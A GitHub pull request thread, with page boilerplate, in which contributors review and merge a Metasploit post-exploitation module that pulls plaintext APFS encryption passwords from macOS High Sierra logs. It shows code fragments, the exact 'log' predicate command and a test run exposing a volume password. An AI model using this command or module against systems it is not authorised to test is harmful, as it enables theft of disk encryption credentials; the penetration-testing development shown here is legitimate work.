Add OSX High Sierra APFS volume password disclosure #9784

cbrnrd · 2018-03-30T07:05:35Z

This PR adds a module that uses a vulnerability in OSX's log command to get plaintext passwords of encrypted APFS volumes. This command is taken from this article and should be tested (for accuracy mainly). If it doesn't work, I will fall back to the command used in the POC.

Verification

Start msfconsole
Get a shell on an OSX High Sierra system (between 10.13.0 to 10.13.3)
use post/osx/gather/apfs_encrypted_volume_passwd
Verify it works on all reported High Sierra versions
Verify that the MOUNT_PATH option works as it should
Write docs

bcoles · 2018-03-30T08:30:22Z

modules/post/osx/gather/apfs_encrypted_volume_passwd.rb

+  def check
+    osx_version = cmd_exec('sw_vers -productVersion')
+    # Would using Gem::Version checking be faster?
+    return CheckCode::Vulnerable if osx_version ~= /10\.13\.[0-3]/


This should be =~ rather than ~=

Also, this check will also match 10.13.39999 and 99910.13.0 which may or may not cause false positives in the future. I'm not greatly familiar with the Mac OSX versioning scheme.

from my experience, OSX versions are major.minor.patch but I'll check the apple docs to see if theres any other info.

The conditional should probably look something like this:

if osx_version =~ /^10\.13\.[0-3]$/

bcoles · 2018-03-30T08:31:08Z

modules/post/osx/gather/apfs_encrypted_volume_passwd.rb

+    cmd = "log stream --info --predicate 'eventMessage contains \"newfs_\"'"
+    cmd << " | grep #{datastore['MOUNT_PATH']}" if datastore['MOUNT_PATH'].empty?
+    vprint_status "Running \"#{cmd}\" on target..."
+    print_good cmd_exec(cmd)


print_good even if the cmd_exec fails ? What if the command returns no results?

bcoles · 2018-03-30T08:32:45Z

modules/post/osx/gather/apfs_encrypted_volume_passwd.rb

+  def run
+    return if check == CheckCode::Safe
+    cmd = "log stream --info --predicate 'eventMessage contains \"newfs_\"'"
+    cmd << " | grep #{datastore['MOUNT_PATH']}" if datastore['MOUNT_PATH'].empty?


Isn't this the reverse logic? Append unless datastore['MOUNT_PATH'].empty? would make more sense.

bcoles · 2018-03-30T08:37:23Z

modules/post/osx/gather/apfs_encrypted_volume_passwd.rb

+    osx_version = cmd_exec('sw_vers -productVersion')
+    # Would using Gem::Version checking be faster?
+    return CheckCode::Vulnerable if osx_version ~= /10\.13\.[0-3]/
+    return CheckCode::Safe


Superfluous return

Also make the output more reliable

cbrnrd · 2018-03-31T20:23:31Z

Docs should be up by tonight. I'm not quite sure why it's failing the sanity test (or what that test is). It just needs to be tested.

busterb · 2018-04-01T01:28:27Z

Sanity test will fail this weekend because we're in the process of moving things between data centers. Sorry about that.

cbrnrd · 2018-04-01T01:29:50Z

Ah okay, all good 👍

jmartin-tech · 2018-04-02T18:01:48Z

Jenkins test this please.

cbrnrd · 2018-04-03T00:50:34Z

Docs are finished. All that's left is testing. I will need some help with this as I don't own a High Sierra machine. Any help would be appreciated :)

timwr · 2018-04-03T10:47:30Z

modules/post/osx/gather/apfs_encrypted_volume_passwd.rb

+
+        ],
+      'Platform'      => 'osx',
+      'Arch'          => ARCH_X32, ARCH_X64


timwr · 2018-04-03T10:49:25Z

modules/post/osx/gather/apfs_encrypted_volume_passwd.rb

+    # BuildVersion: 7A100
+    osx_version = cmd_exec('sw_vers | grep "ProductVersion" | awk \'{ print $2 }\'')
+    # Would using Gem::Version checking be more reliable?
+    return CheckCode::Vulnerable if osx_version =~ /^10\.13\.[0-3]$/


Assuming 10.13.0 is vulnerable, we should do:
if osx_version =~ /^10\.13[\.[0-3]]?$/
to match 10.13

$ sw_vers ProductName: Mac OS X ProductVersion: 10.13 BuildVersion: 17A365

timwr · 2018-04-03T11:04:28Z

modules/post/osx/gather/apfs_encrypted_volume_passwd.rb

+  end
+
+  def run
+    return if check == CheckCode::Safe


Exploit::CheckCode::Safe?
Otherwise:

[-] Post failed: NameError uninitialized constant Msf::Modules::Mod706f73742f6f73782f6761746865722f617066735f656e637279707465645f766f6c756d655f706173737764::MetasploitModule::CheckCode

timwr · 2018-04-03T11:06:23Z

modules/post/osx/gather/apfs_encrypted_volume_passwd.rb

+
+  def run
+    return if check == CheckCode::Safe
+    cmd = "log stream --info --predicate 'eventMessage contains \"newfs_\"'"


I think log show rather than log stream, so that the command returns.
If not the command never returns and the session dies.

timwr · 2018-04-03T11:48:52Z

modules/post/osx/gather/apfs_encrypted_volume_passwd.rb

+    # ProductName: macOS
+    # ProductVersion: 10.12
+    # BuildVersion: 7A100
+    osx_version = cmd_exec('sw_vers | grep "ProductVersion" | awk \'{ print $2 }\'')


just do osx_version = cmd_exec('sw_vers -productVersion')

Also fix a bug in check()

timwr · 2018-04-04T05:45:43Z

Hmm I'm not seeing an option to format in APFS on 10.13.0

cbrnrd · 2018-04-04T12:32:08Z

Should I revert it back to the previous command (grep the full output)?

timwr · 2018-04-04T14:45:07Z

No sorry I'm struggling to reproduce the bug. APFS is not a formatting option.

cbrnrd · 2018-04-04T16:23:33Z

are using the Application or the command line tool?

cbrnrd · 2018-04-04T18:46:05Z

@timwr Here's a few things that may work for formatting:

https://superuser.com/questions/1097016/format-disk-with-apfs-the-new-apple-file-system#1110991

https://www.macobserver.com/tips/quick-tip/experiment-apfs-drive-heres-how-format-apfs/

cbrnrd · 2018-04-04T18:54:48Z

And the command you can use to encrypt the drive is newfs_apfs.
The command looks something like this:

newfs_apfs -A -i -E -S password -v VOLUMENAME disknum .

timwr · 2018-04-07T08:11:38Z

msf5 post(osx/gather/apfs_encrypted_volume_passwd) > exploit

[+] Timestamp                       Thread     Type        Activity             PID    TTL
2018-04-04 13:01:44.187221+0800 0x1c8cd    Fault       0x57b0               6241   14   diskmanagementd: diskmanagement: execve(2) pid=6241 /System/Library/Filesystems/exfat.fs/Contents/Resources/newfs_exfat -v Files /dev/rdisk1s2 .
2018-04-04 13:05:03.028476+0800 0x1ccee    Fault       0x5a20               6297   14   diskmanagementd: diskmanagement: execve(2) pid=6297 /System/Library/Filesystems/apfs.fs/Contents/Resources/newfs_apfs -i -v Files /dev/rdisk1s2 .
2018-04-04 13:05:15.730561+0800 0x1cdf8    Fault       0x5a90               6312   14   diskmanagementd: diskmanagement: execve(2) pid=6312 /System/Library/Filesystems/apfs.fs/Contents/Resources/newfs_apfs -A -i -v Untitled disk2 .
2018-04-04 13:05:35.168412+0800 0x1cfdb    Fault       0x5b60               6331   14   diskmanagementd: diskmanagement: execve(2) pid=6331 /System/Library/Filesystems/apfs.fs/Contents/Resources/newfs_apfs -i -E -S aa -v Untitled disk2s2 .
[*] Post module execution completed

I guess we could try match newfs_apfs -i -E -S password with a regex? or just match /newfs_apfs*$/ (from newfs_apfs until the end of the line).

timwr · 2018-04-07T08:17:02Z

modules/post/osx/gather/apfs_encrypted_volume_passwd.rb

+
+        ],
+      'Platform'      => 'osx',
+      'Arch'          => ARCH_ALL


I'm surprised our automated testing did not pick up the missing comma here

cbrnrd · 2018-04-07T15:15:14Z

I kind of did that in my last commit. I matched for /newfs_apfs/ and /-S (.+)/. This should only get the line of text where the password is.

timwr · 2018-04-10T06:47:26Z

modules/post/osx/gather/apfs_encrypted_volume_passwd.rb

+    else
+      successful_lines = 0
+      results.lines.each do |l|
+        s = l.split(' ')[11..-1].join # Just the command executed


I was getting an error here:
[-] Post failed: NoMethodError undefined method join' for nil:NilClass`
Please see cbrnrd#1

match newfs_apfs regex

cbrnrd · 2018-04-13T15:25:16Z

Anything new @timwr?

timwr · 2018-04-17T11:34:42Z

Apologies for the delay, it works so I think we can just land this as-is unless anyone has any further comments.
I can add the output of a successful run into the docs.

cbrnrd · 2018-04-17T11:36:33Z

Okay great, thanks!

timwr · 2018-04-18T06:33:16Z

Minor tweaks: 72cd97d

timwr · 2018-04-18T06:34:23Z

Landed, thanks @cbrnrd !

timwr · 2018-04-18T06:41:40Z

Release Notes

The post/osx/gather/apfs_encrypted_volume_passwd module has been added to the framework. It recovers the password of an APFS encrypted volume from the logs of the Disk Utility app. Volumes encrypted on macOS High Sierra versions 10.13.0-10.13.2 are vulnerable.

Add apfs_encrypted_volume_passwd.rb

76af9d5

bcoles reviewed Mar 30, 2018

View reviewed changes

bcoles added module needs-docs labels Mar 30, 2018

Fix some logic flaws and other review things

c401872

Also make the output more reliable

Create apfs_encrypted_volume_passwd.md

cdcbd03

timwr reviewed Apr 3, 2018

View reviewed changes

modules/post/osx/gather/apfs_encrypted_volume_passwd.rb Outdated

],

'Platform' => 'osx',

'Arch' => ARCH_X32, ARCH_X64

Copy link

Contributor

timwr Apr 3, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ARCH_ALL

timwr reviewed Apr 3, 2018

View reviewed changes

Fix some bugs with command exits

0806c07

Also fix a bug in check()

bcoles added docs and removed needs-docs labels Apr 6, 2018

timwr reviewed Apr 7, 2018

View reviewed changes

Make final output more readable

3f40f43

match newfs_apfs regex

ee6f83c

timwr reviewed Apr 10, 2018

View reviewed changes

Merge pull request #1 from timwr/land-9784

f54df6a

match newfs_apfs regex

timwr merged commit f54df6a into rapid7:master Apr 18, 2018

timwr added a commit that referenced this pull request Apr 18, 2018

Land #9784, add osx high sierra APFS password disclosure post module

1547a47

msjenkins-r7 pushed a commit that referenced this pull request Apr 18, 2018

Land #9784, add osx high sierra APFS password disclosure post module

b958526

allrosenthal-r7 added the rn-enhancement release notes enhancement label Apr 24, 2018

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add OSX High Sierra APFS volume password disclosure #9784

Add OSX High Sierra APFS volume password disclosure #9784

cbrnrd commented Mar 30, 2018 •

edited

Loading

bcoles Mar 30, 2018

cbrnrd Mar 30, 2018

bcoles Mar 31, 2018

bcoles Mar 30, 2018

bcoles Mar 30, 2018

bcoles Mar 30, 2018

cbrnrd commented Mar 31, 2018 •

edited

Loading

busterb commented Apr 1, 2018

cbrnrd commented Apr 1, 2018

jmartin-tech commented Apr 2, 2018

cbrnrd commented Apr 3, 2018

timwr Apr 3, 2018

timwr Apr 3, 2018

timwr Apr 3, 2018

timwr Apr 3, 2018

timwr Apr 3, 2018

timwr commented Apr 4, 2018

cbrnrd commented Apr 4, 2018

timwr commented Apr 4, 2018

cbrnrd commented Apr 4, 2018

cbrnrd commented Apr 4, 2018

cbrnrd commented Apr 4, 2018

timwr commented Apr 7, 2018

timwr Apr 7, 2018

cbrnrd commented Apr 7, 2018 •

edited

Loading

timwr Apr 10, 2018

cbrnrd commented Apr 13, 2018

timwr commented Apr 17, 2018

cbrnrd commented Apr 17, 2018

timwr commented Apr 18, 2018

timwr commented Apr 18, 2018

timwr commented Apr 18, 2018 •

edited by allrosenthal-r7

Loading

Add OSX High Sierra APFS volume password disclosure #9784

Add OSX High Sierra APFS volume password disclosure #9784

Conversation

cbrnrd commented Mar 30, 2018 • edited Loading

Verification

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

cbrnrd commented Mar 31, 2018 • edited Loading

busterb commented Apr 1, 2018

cbrnrd commented Apr 1, 2018

jmartin-tech commented Apr 2, 2018

cbrnrd commented Apr 3, 2018

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

timwr commented Apr 4, 2018

cbrnrd commented Apr 4, 2018

timwr commented Apr 4, 2018

cbrnrd commented Apr 4, 2018

cbrnrd commented Apr 4, 2018

cbrnrd commented Apr 4, 2018

timwr commented Apr 7, 2018

Choose a reason for hiding this comment

cbrnrd commented Apr 7, 2018 • edited Loading

Choose a reason for hiding this comment

cbrnrd commented Apr 13, 2018

timwr commented Apr 17, 2018

cbrnrd commented Apr 17, 2018

timwr commented Apr 18, 2018

timwr commented Apr 18, 2018

timwr commented Apr 18, 2018 • edited by allrosenthal-r7 Loading

Release Notes

cbrnrd commented Mar 30, 2018 •

edited

Loading

cbrnrd commented Mar 31, 2018 •

edited

Loading

cbrnrd commented Apr 7, 2018 •

edited

Loading

timwr commented Apr 18, 2018 •

edited by allrosenthal-r7

Loading